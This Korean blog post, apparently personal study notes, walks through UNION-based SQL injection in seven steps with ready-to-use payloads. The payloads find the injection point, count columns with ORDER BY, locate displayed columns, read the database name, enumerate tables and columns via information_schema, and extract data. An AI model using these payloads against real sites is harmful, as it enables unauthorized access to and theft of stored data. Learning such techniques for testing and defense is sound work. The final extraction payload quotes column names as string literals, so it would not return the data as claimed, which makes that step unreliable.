[SQL Injection] Union SQL Injection
2024. 6. 6. 16:28ㆍ정보보안 및 해킹/웹 해킹
사용 조건
SQL 질의문의 결과가 화면에 출력되는 곳
EX) 게시판
문법
SELECT [COLUMN] FROM [TABLE] UNION SELECT [COLUMN] FROM [TABLE]
필수 요소
앞과 뒤의 SELECT문의 COLUMN 갯수가 맞아야 한다
PROCESS
1. SQL Injection Point 찾기
어떤 쿼리문을 사용했을지 추측하기
어떤 따옴표(', ")를 사용했을지 추측하기
LIKE를 사용했을지 하지 않았을지('%%', "%%") 추측하기)
2. COLUMN 갯수 찾기
%' ORDER BY [COLUMN갯수]#
눈에 보이는 컬럼이 전부가 아님을 명심하기
3. 출력되는 COLUMN 위치 찾기
%' UNION SELECT 1,2,3,4.... #
어떤 컬럼이 화면이 출력되는지, 어떤 순서로 출력되는지 파악하기
4. DB 이름 확인
%' union select 1,database(),3,4 #
화면에 나오는 컬럼에 DATABASE()를 넣어 출력하기
5. TABLE 이름 확인
%' union select 1,2,3,table_name from information_schema.tables where table_schema = 'DB이름' #
6. COLUMN 이름 확인
%' union select 1,2,3,column_name from information_schema.columns where table_name = '테이블이름' #
Mysql, Oracle, Mssql 마다 쓰임새가 조금씩 다름
[DB이름] select column name 검색하면 나옴
7. DATA 추출
%' union select 1,'컬럼이름','컬럼이름',4 from 테이블이름 #
출력하고자 하는 컬럼 이름과 전 단계에서 구한 테이블 이름을 삽입
'정보보안 및 해킹 > 웹 해킹' 카테고리의 다른 글
[SQL Injection] SQL Injection 대응 방안 (1) | 2024.06.07 |
---|---|
[SQL Injection] Blind SQL Injection (0) | 2024.06.06 |
[SQL Injection] Error Based SQL Injection (0) | 2024.06.06 |